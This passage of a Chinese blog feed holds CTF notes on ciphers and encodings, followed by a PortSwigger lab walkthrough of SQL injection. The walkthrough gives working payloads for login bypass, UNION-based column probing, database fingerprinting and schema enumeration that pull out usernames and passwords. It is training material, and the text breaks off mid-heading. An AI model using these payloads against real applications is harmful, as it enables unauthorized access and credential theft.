&#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; stack_len; i++) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%c&quot;</span>, <span class="built_in">stack</span>[i]);</span><br><span class="line">&#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">30000</span>; i++) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%c&quot;</span>, s[i]);</span><br><span class="line">&#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h4 id="Gronsfeld密码"><a href="#Gronsfeld密码" class="headerlink" title="Gronsfeld密码"></a>Gronsfeld密码</h4><p><a class="link" href="http://www.hiencode.com/gronsfeld.html">CTF在线工具-在线Gronsfeld密码加密|在线Gronsfeld密码解密|Gronsfeld密码算法|Gronsfeld Cipher (hiencode.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 解密脚本</span></span><br><span class="line"><span class="keyword">from</span> pycipher <span class="keyword">import</span> Gronsfeld</span><br><span class="line"></span><br><span class="line">cipher = <span class="string">&#x27;TGLBOMSJNSRAJAZDEZXGHSJNZWHG&#x27;</span></span><br><span class="line">key = [<span class="number">1</span>,<span class="number">50</span>,<span class="number">61</span>,<span class="number">8</span>,<span class="number">9</span>,<span class="number">20</span>,<span class="number">63</span>,<span class="number">41</span>]</span><br><span class="line">secret = Gronsfeld(key).decipher(cipher)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(secret)</span><br></pre></td></tr></table></figure></div><h4 id="UUencode编码"><a href="#UUencode编码" class="headerlink" title="UUencode编码"></a>UUencode编码</h4><p>看起来有点像base85</p><p><a class="link" href="https://www.qqxiuzi.cn/bianma/uuencode.php">Uuencode编码（加密）；Uuencode解码（解密）｜文字加密和解密工具 (qqxiuzi.cn) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411072259904.png" alt="image-20241107225928814"></p><h4 id="AAencode编码"><a href="#AAencode编码" class="headerlink" title="AAencode编码"></a>AAencode编码</h4><h4 id="XXencode编码"><a href="#XXencode编码" class="headerlink" title="XXencode编码"></a>XXencode编码</h4><p>随波逐流直接解密即可</p><h4 id="无字天书-whitespace-或者snow隐写"><a href="#无字天书-whitespace-或者snow隐写" class="headerlink" title="无字天书(whitespace)或者snow隐写"></a>无字天书(whitespace)或者snow隐写</h4><p>一个文件打开都是空白字符</p><p>可以使用在线网站解密：<a class="link" href="https://vii5ard.github.io/whitespace/">https://vii5ard.github.io/whitespace/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 复制进去直接run即可</p><p>snow隐写，到snowdos32工具目录下运行 SNOW.EXE -C -p password flag.txt 命令即可</p><h4 id="中文电报（中文电码）"><a href="#中文电报（中文电码）" class="headerlink" title="中文电报（中文电码）"></a>中文电报（中文电码）</h4><p>类似于下面这种四位数一组的编码，直接在线网站解码即可<a class="link" href="https://dianma.bmcx.com/">https://dianma.bmcx.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>5337 5337 2448 2448 0001 2448 0001 2161 1721 1869 6671 0008 3296 4430 0001 3945 0260 3945 1869 4574 5337 0344 2448 0037 5337 5337 0260 0668 5337 6671 0008 3296 1869 6671 0008 3296 1869 2161 1721</p><h4 id="Quote-Printable编码"><a href="#Quote-Printable编码" class="headerlink" title="Quote-Printable编码"></a>Quote-Printable编码</h4><p>类似于下面这样的编码，直接使用 <a class="link" href="https://try8.cn/tool/code/qp">在线网站 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 解密即可</p><p>flag{ichunqiu_&#x3D;E6&#x3D;8A&#x3D;80&#x3D;E6&#x3D;9C&#x3D;AF&#x3D;E6&#x3D;9C&#x3D;89&#x3D;E6&#x3D;B8&#x3D;A9&#x3D;E5&#x3D;BA&#x3D;A6}</p><p>flag{ichunqiu_技术有温度}</p><h4 id="Unicode编码"><a href="#Unicode编码" class="headerlink" title="Unicode编码"></a>Unicode编码</h4><p>这个编码有很多种格式，比如<code>+U、\u、\x、&amp;#</code>啥的</p><p><a class="link" href="https://r12a.github.io/app-conversion/">Unicode code converter (r12a.github.io) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="中文ascii码"><a href="#中文ascii码" class="headerlink" title="中文ascii码"></a>中文ascii码</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">27880 30693 25915 21892 38450 23454 39564 23460 21457 36865 112 108 98 99 116 102 33719 21462 21069 27573 102 108 97 103 20851 27880 79 110 101 45 70 111 120 23433 20840 22242 38431 22238 22797 112 108 98 99 116 102 33719 21462 21518 27573 102 108 97 103</span><br></pre></td></tr></table></figure></div><p>加上&amp;#和分号，直接 CyberChef 或者 <a class="link" href="https://www.xuhuhu.com/beautify/ascii/">在线网站 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 解密即可</p><h4 id="培根密码"><a href="#培根密码" class="headerlink" title="培根密码"></a>培根密码</h4><p>由 a、b 或者 A、B 或者 0、1 组成的密文，密文中只有两种字符，随波逐流一把梭</p><h4 id="锟斤拷"><a href="#锟斤拷" class="headerlink" title="锟斤拷"></a>锟斤拷</h4><p>这个东西的成因是 Unicode 的替换字符（Replacement Character，�）于 UTF-8 编码下的结果 EF BF BD 重复，在 GBK 编码中被解释为汉字 “锟斤拷”（EF BF BD EF BF BD）</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">a = <span class="built_in">input</span>(<span class="string">&#x27;请选择你的功能（1、加密 2、解密）：&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> a == <span class="string">&quot;1&quot;</span>:</span><br><span class="line">    s = <span class="built_in">input</span>(<span class="string">&#x27;请输入你要加密的话：&#x27;</span>)</span><br><span class="line">    utf = s.encode(<span class="string">&#x27;utf&#x27;</span>)</span><br><span class="line">    gbk = s.encode(<span class="string">&#x27;utf&#x27;</span>).decode(<span class="string">&#x27;gbk&#x27;</span>, errors=<span class="string">&#x27;ignore&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(s)%<span class="number">2</span> == <span class="number">1</span>:</span><br><span class="line">        gbk = gbk + <span class="string">&quot;�&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(gbk)</span><br><span class="line">    os.system(<span class="string">&quot;pause&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> a == <span class="string">&quot;2&quot;</span>:</span><br><span class="line">    s = <span class="built_in">input</span>(<span class="string">&#x27;请输入你要解密的话：&#x27;</span>)</span><br><span class="line">    gbk = s.encode(<span class="string">&#x27;gbk&#x27;</span>)</span><br><span class="line">    utf = s.encode(<span class="string">&#x27;gbk&#x27;</span>).decode(<span class="string">&#x27;utf-8&#x27;</span>, errors=<span class="string">&#x27;ignore&#x27;</span>)</span><br><span class="line">    <span class="built_in">print</span>(utf)</span><br><span class="line">    os.system(<span class="string">&quot;pause&quot;</span>)</span><br></pre></td></tr></table></figure></div><h4 id="棋盘密码"><a href="#棋盘密码" class="headerlink" title="棋盘密码"></a>棋盘密码</h4><p>直接使用CaptfEncoder或者随波逐流等工具输入密文和密钥解密即可</p><p>ADFGVX密码 默认棋盘：ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8 默认密钥：german ADFGX密码 默认棋盘：phqgmeaynofdxkrcvszwbutil 默认密钥：german 波利比奥斯方阵密码 密钥：随机 默认密文字符：ABCDE</p><h4 id="福尔摩斯密码"><a href="#福尔摩斯密码" class="headerlink" title="福尔摩斯密码"></a>福尔摩斯密码</h4><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411072308309.jpeg" alt="摩斯密码教程（一篇文章学会使用摩斯密码） - 科猫网"></p><h4 id="利用编程代码画图"><a href="#利用编程代码画图" class="headerlink" title="利用编程代码画图"></a>利用编程代码画图</h4><ol><li>LOGO编程语言【例题-[RCTF2019]draw 】 在线编译器：<a class="link" href="https://www.calormen.com/jslogo/">https://www.calormen.com/jslogo/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></li><li>CFRS编程语言【例题-2024宁波市赛初赛 Misc2】 在线画图网站：<a class="link" href="https://susam.net/cfrs.html">https://susam.net/cfrs.html <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;CTF—MISC&quot;&gt;&lt;a href=&quot;#CTF—MISC&quot; class=&quot;headerlink&quot; title=&quot;CTF—MISC&quot;&gt;&lt;/a&gt;CTF—MISC&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]&lt;/p&gt;
&lt;p&gt;参考Lunatic师傅的文</summary>
      
    
    
    
    <category term="Misc" scheme="http://example.com/categories/Misc/"/>
    
    
  </entry>
  
  <entry>
    <title>portswigger SqlInjection</title>
    <link href="http://example.com/2024/10/31/portswigger-SqlInjection/"/>
    <id>http://example.com/2024/10/31/portswigger-SqlInjection/</id>
    <published>2024-10-31T10:20:53.000Z</published>
    <updated>2024-11-01T09:38:46.465Z</updated>
    
    <content type="html"><![CDATA[<h2 id="portswigger靶场-SQL注入"><a href="#portswigger靶场-SQL注入" class="headerlink" title="portswigger靶场 SQL注入"></a>portswigger靶场 SQL注入</h2><p><a class="link" href="https://portswigger.net/web-security/sql-injection/cheat-sheet">SQL injection cheat sheet | Web Security Academy (portswigger.net) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="https://fc04db.github.io/2024/06/18/SQL-injection/">SQL injection - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="🧪实验1：WHERE子句中的SQL注入漏洞允许检索隐藏数据"><a href="#🧪实验1：WHERE子句中的SQL注入漏洞允许检索隐藏数据" class="headerlink" title="🧪实验1：WHERE子句中的SQL注入漏洞允许检索隐藏数据"></a>🧪实验1：WHERE子句中的SQL注入漏洞允许检索隐藏数据</h4><p>payload：<code>&#39; OR 1=1--</code></p><h3 id="颠覆应用逻辑"><a href="#颠覆应用逻辑" class="headerlink" title="颠覆应用逻辑"></a>颠覆应用逻辑</h3><ul><li><p>对于执行以下SQL来检查凭据，如果查询返回用户的详细信息，则登录成功，否则，登录失败</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> username <span class="operator">=</span> <span class="string">&#x27;wiener&#x27;</span> <span class="keyword">AND</span> password <span class="operator">=</span> <span class="string">&#x27;bluecheese&#x27;</span></span><br></pre></td></tr></table></figure></div></li><li><p>在这种情况下，用户可以以任何身份登录，而无需密码。通过<code>--</code>注释掉密码的判断，即可登录成功。</p></li><li><p>例子：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> username <span class="operator">=</span> <span class="string">&#x27;administrator&#x27;</span><span class="comment">--&#x27; AND password = &#x27;&#x27;</span></span><br><span class="line"># 此查询将返回username为administrator的用户的详细信息，而不需要密码</span><br></pre></td></tr></table></figure></div></li></ul><h4 id="🧪实验2：允许绕过登录的SQL注入漏洞"><a href="#🧪实验2：允许绕过登录的SQL注入漏洞" class="headerlink" title="🧪实验2：允许绕过登录的SQL注入漏洞"></a>🧪实验2：允许绕过登录的SQL注入漏洞</h4><p>”万能密码”payload：<code>administrator&#39;--</code></p><h3 id="确定所需的列数"><a href="#确定所需的列数" class="headerlink" title="确定所需的列数"></a>确定所需的列数</h3><ul><li><p>使用一系列<code>ORDER BY</code>子句，直到应用程序返回错误</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; ORDER BY 1--</span></span><br><span class="line"><span class="string">&#x27;</span> <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="number">2</span><span class="comment">--</span></span><br><span class="line"><span class="string">&#x27; ORDER BY 3--</span></span><br><span class="line"><span class="string">etc.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># 这一系列有效负载修改了原始查询，按照结果集中不同列对结果进行排序</span></span><br><span class="line"><span class="string"># `ORDER BY`子句中的列可以由其索引指定，因此不需要知道任何列名</span></span><br><span class="line"><span class="string"># 当指定的列索引超出了结果集中的列数时，应用程序通常会返回错误</span></span><br></pre></td></tr></table></figure></div></li><li><p>使用一系列指定不同数量的空值的<code>UNION SELECT</code>语句，直到应用程序不再返回错误</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; UNION SELECT NULL--</span></span><br><span class="line"><span class="string">&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">NULL</span>,<span class="keyword">NULL</span><span class="comment">--</span></span><br><span class="line"><span class="string">&#x27; UNION SELECT NULL,NULL,NULL--</span></span><br><span class="line"><span class="string">etc.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># 如果NULL的数量不匹配，数据库将返回错误</span></span><br><span class="line"><span class="string"># NULL可以为每一种常见的数据类型，因此当列数正确时，能最大限度地提高了有效负载成功的机会</span></span><br></pre></td></tr></table></figure></div></li></ul><h4 id="🧪实验3：SQL注入UNION攻击，确定查询返回的列数"><a href="#🧪实验3：SQL注入UNION攻击，确定查询返回的列数" class="headerlink" title="🧪实验3：SQL注入UNION攻击，确定查询返回的列数"></a>🧪实验3：SQL注入UNION攻击，确定查询返回的列数</h4><h4 id="Oracle上DUAL的内置表"><a href="#Oracle上DUAL的内置表" class="headerlink" title="Oracle上DUAL的内置表"></a>Oracle上DUAL的内置表</h4><p>Oracle 数据库中的 <code>DUAL</code> 表是一个特殊的单行单列表，通常用于从数据库中获取常量值或表达式的结果。以下是关于 <code>DUAL</code> 表的一些要点：</p><ol><li><strong>定义</strong>: <code>DUAL</code> 表是 Oracle 自动创建的，始终存在于每个 Oracle 数据库中。其主要目的是为没有特定表的查询提供一个虚拟的表。</li><li><strong>结构</strong>: <code>DUAL</code> 表只有一列，列名为 <code>DUMMY</code>，类型为 <code>VARCHAR2(1)</code>，并且只包含一行数据，值为 <code>&#39;X&#39;</code>。</li></ol><ul><li><p>在Oracle上，每个<code>SELECT</code>语句必须包含<code>FROM</code>关键字并指定一个有效的表。</p></li><li><p>Oracle上有一个名为DUAL的内置表，因此在Oracle上执行UNION攻击时查询可以是：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; UNION SELECT NULL FROM DUAL--</span><br></pre></td></tr></table></figure></div></li></ul><h3 id="查找具有有用数据类型的列"><a href="#查找具有有用数据类型的列" class="headerlink" title="查找具有有用数据类型的列"></a>查找具有有用数据类型的列</h3><ul><li><p>SQL注入UNION攻击能从注入的查询中检索结果。通常想要检索的数据是字符串形式的。这意味着需要在原始查询结果中找到数据类型为字符串数据或与字符串数据兼容的一个或多个列。</p></li><li><p>确定所需列的数量后，可以探测每一列以测试它是否可以容纳字符串数据，可以提交一系列的<code>UNION SELECT</code>的payload，依次将字符串数据插入到每一列中。如果列数据类型与字符串数据不兼容，则注入的查询将导致数据库错误。如果没有发生错误，并且应用程序的响应包含一些附加内容（包括注入的字符串值），则相关列适合于检索字符串数据。</p></li><li><p>例子：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 首先确定查询返回的列数是<span class="number">4</span>列，然后探测每一列以测试它是否可以容纳字符串数据</span><br><span class="line"><span class="string">&#x27; UNION SELECT &#x27;</span>a<span class="string">&#x27;,NULL,NULL,NULL--</span></span><br><span class="line"><span class="string">&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">NULL</span>,<span class="string">&#x27;a&#x27;</span>,<span class="keyword">NULL</span>,<span class="keyword">NULL</span><span class="comment">--</span></span><br><span class="line"><span class="string">&#x27; UNION SELECT NULL,NULL,&#x27;</span>a<span class="string">&#x27;,NULL--</span></span><br><span class="line"><span class="string">&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">NULL</span>,<span class="keyword">NULL</span>,<span class="keyword">NULL</span>,<span class="string">&#x27;a&#x27;</span><span class="comment">--</span></span><br></pre></td></tr></table></figure></div></li></ul><h4 id="🧪实验4：SQL注入UNION攻击，查找具有有用数据类型的列"><a href="#🧪实验4：SQL注入UNION攻击，查找具有有用数据类型的列" class="headerlink" title="🧪实验4：SQL注入UNION攻击，查找具有有用数据类型的列"></a>🧪实验4：SQL注入UNION攻击，查找具有有用数据类型的列</h4><p>payload:<code>?category=Accessories&#39; UNION SELECT NULL,&#39;eDqVcW&#39;,NULL--</code></p><h4 id="🧪实验5：SQL注入UNION攻击，从其他表中检索数据"><a href="#🧪实验5：SQL注入UNION攻击，从其他表中检索数据" class="headerlink" title="🧪实验5：SQL注入UNION攻击，从其他表中检索数据"></a>🧪实验5：SQL注入UNION攻击，从其他表中检索数据</h4><ul><li><p>首先确认列数：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?category<span class="operator">=</span>Accessories<span class="string">&#x27; UNION SELECT NULL-- </span></span><br><span class="line"><span class="string">?category=Accessories&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">NULL</span>,<span class="keyword">NULL</span><span class="comment">-- </span></span><br><span class="line"># 成功，说明返回的列数为<span class="number">2</span></span><br></pre></td></tr></table></figure></div></li><li><p>然后确定每一列的类型：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?category<span class="operator">=</span>Accessories<span class="string">&#x27; UNION SELECT &#x27;</span>a<span class="string">&#x27;,NULL-- </span></span><br><span class="line"><span class="string">?category=Accessories&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">NULL</span>,<span class="string">&#x27;a&#x27;</span><span class="comment">-- </span></span><br><span class="line"># 两个都成功，说明两列都是字符串类型</span><br></pre></td></tr></table></figure></div></li><li><p>使用<code>?category=Accessories&#39; UNION SELECT username, password FROM users</code>进行注入，成功获取<code>username</code>和<code>password</code>列的数据</p></li></ul><h3 id="在单个列中检索多个值"><a href="#在单个列中检索多个值" class="headerlink" title="在单个列中检索多个值"></a>在单个列中检索多个值</h3><ul><li><p>在某些情况下，上一个示例中的查询可能只返回单个列。通过将值连接在一起，可以在此单个列中同时检索多个值。可以包含分隔符以区分组合值。</p></li><li><p>例子：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; UNION SELECT username || &#x27;</span><span class="operator">~</span><span class="string">&#x27; || password FROM users--</span></span><br><span class="line"><span class="string"># 在Oracle数据库中，可以使用`||`连接运算符来连接值</span></span><br><span class="line"><span class="string"># 将`username`和`password`连接在一起，并使用`~`作为分隔符，查询的结果包含所有用户名和密码例如：</span></span><br><span class="line"><span class="string"># ···</span></span><br><span class="line"><span class="string"># administrator~s3cure</span></span><br><span class="line"><span class="string"># wiener~peter</span></span><br></pre></td></tr></table></figure></div></li></ul><h4 id="🧪实验6：SQL注入UNION攻击，在单个列中检索多个值"><a href="#🧪实验6：SQL注入UNION攻击，在单个列中检索多个值" class="headerlink" title="🧪实验6：SQL注入UNION攻击，在单个列中检索多个值"></a>🧪实验6：SQL注入UNION攻击，在单个列中检索多个值</h4><ul><li><p>首先确认列数：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?category<span class="operator">=</span>Lifestyle<span class="string">&#x27; UNION SELECT NULL-- </span></span><br><span class="line"><span class="string">?category=Lifestyle&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">NULL</span>,<span class="keyword">NULL</span><span class="comment">-- </span></span><br><span class="line"># 成功，说明返回的列数为<span class="number">2</span></span><br></pre></td></tr></table></figure></div></li><li><p>然后确认每一列的类型：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">?category<span class="operator">=</span>Lifestyle<span class="string">&#x27; UNION SELECT &#x27;</span>a<span class="string">&#x27;,NULL-- </span></span><br><span class="line"><span class="string"># 报错，说明第一列是不是字符串类型</span></span><br><span class="line"><span class="string">?category=Lifestyle&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">NULL</span>,<span class="string">&#x27;a&#x27;</span><span class="comment">-- </span></span><br><span class="line"># 成功，说明第二列是字符串类型</span><br></pre></td></tr></table></figure></div></li><li><p>只有一列是字符串，因此需要在单个列中检索<code>username</code>和<code>password</code>拼接值。</p></li><li><p>猜测这是一个mysql数据库，因此使用CONCAT函数进行拼接：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?category<span class="operator">=</span>Lifestyle<span class="string">&#x27; UNION SELECT NULL,CONCAT(username, &#x27;</span><span class="operator">~</span><span class="string">&#x27;, password) FROM users-- </span></span><br></pre></td></tr></table></figure></div></li></ul><h3 id="检查SQL注入攻击中的数据库"><a href="#检查SQL注入攻击中的数据库" class="headerlink" title="检查SQL注入攻击中的数据库"></a>检查SQL注入攻击中的数据库</h3><ul><li>要利用SQL注入漏洞，通常需要查找有关数据库的信息，这包括：<ul><li><strong>数据库软件的类型和版本</strong></li><li><strong>数据库包含的表和列</strong></li></ul></li></ul><h4 id="检查数据库的版本和类型"><a href="#检查数据库的版本和类型" class="headerlink" title="检查数据库的版本和类型"></a>检查数据库的版本和类型</h4><p>以下是一些用来确定某些常用数据库类型的数据库版本：</p><table><thead><tr><th>数据库类型</th><th>查询</th></tr></thead><tbody><tr><td>Microsoft，MySQL</td><td><code>SELECT @@version</code></td></tr><tr><td>Oracle</td><td><code>SELECT * FROM v$version</code></td></tr><tr><td>PostgreSQL</td><td><code>SELECT version()</code></td></tr></tbody></table><h4 id="🧪实验7：SQL注入攻击，查询数据库类别和版本"><a href="#🧪实验7：SQL注入攻击，查询数据库类别和版本" class="headerlink" title="🧪实验7：SQL注入攻击，查询数据库类别和版本"></a>🧪实验7：SQL注入攻击，查询数据库类别和版本</h4><p><strong>Oracle</strong>:<code>&#39;+UNION+SELECT+BANNER,+NULL+FROM+v$version--</code></p><p><strong>MySQL and Microsoft</strong>:<code>&#39;+UNION+SELECT+@@version,+NULL#</code></p><h3 id="列出数据库的内容"><a href="#列出数据库的内容" class="headerlink" title="列出数据库的内容"></a>列出数据库的内容</h3><ul><li><p>大多数数据库类型（Oracle除外），都有一个名为<code>information_schema</code>的系统表，其中包含有关数据库的信息。可以使用这个表来列出数据库中的表和列。</p></li><li><p>例：</p><ul><li><p>可以查询<code>information_schema.tables</code>表来列出数据库中的表:</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> information_schema.tables</span><br></pre></td></tr></table></figure></div></li><li><p>可以查询<code>information_schema.columns</code>表来列出数据库中的列:</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> information_schema.columns <span class="keyword">WHERE</span> table_name <span class="operator">=</span> <span class="string">&#x27;users&#x27;</span></span><br></pre></td></tr></table></figure></div></li></ul></li></ul><p><strong>Oracle</strong>:</p><p>可以通过查询 <code>all_tables</code> 列出表：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> all_tables</span><br></pre></td></tr></table></figure></div><p>可以通过查询 <code>all_tab_columns</code> 列出列：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> all_tab_columns <span class="keyword">WHERE</span> table_name <span class="operator">=</span> <span class="string">&#x27;USERS&#x27;</span></span><br></pre></td></tr></table></figure></div><h4 id="🧪实验8：SQL注入攻击，列出非Oracle数据库上的数据库内容"><a href="#🧪实验8：SQL注入攻击，列出非Oracle数据库上的数据库内容" class="headerlink" title="🧪实验8：SQL注入攻击，列出非Oracle数据库上的数据库内容"></a>🧪实验8：SQL注入攻击，列出非Oracle数据库上的数据库内容</h4><p>查询数据库中的表：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?category<span class="operator">=</span>Gifts<span class="string">&#x27; UNION SELECT table_name, NULL FROM information_schema.tables--</span></span><br></pre></td></tr></table></figure></div><p>发现一个名为<code>users_kdzjph</code>的表，猜测是目标表，尝试查询表中的列：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?category<span class="operator">=</span>Gifts<span class="string">&#x27; UNION SELECT COLUMN_NAME, NULL FROM information_schema.columns WHERE table_name = &#x27;</span>users_kdzjph<span class="string">&#x27;--  </span></span><br></pre></td></tr></table></figure></div><p>查询到了<code>password_ifndxh</code>和<code>username_aeoisd</code>列，查询所有用户的用户名和密码：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?category<span class="operator">=</span>Gifts<span class="string">&#x27; UNION SELECT username_aeoisd,password_ifndxh FROM users_kdzjph--  </span></span><br></pre></td></tr></table></figure></div><h5 id="Oracle"><a href="#Oracle" class="headerlink" title="Oracle:"></a>Oracle:</h5><p>查表：<code>&#39;+UNION+SELECT+table_name,NULL+FROM+all_tables--</code></p><p>查字段名：<code>&#39;+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name=&#39;USERS_ABCDEF&#39;--</code></p><p>查字段值：<code>&#39;+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--</code></p><h3 id="通过触发条件响应利用SQL盲注（布尔盲注）"><a href="#通过触发条件响应利用SQL盲注（布尔盲注）" class="headerlink" 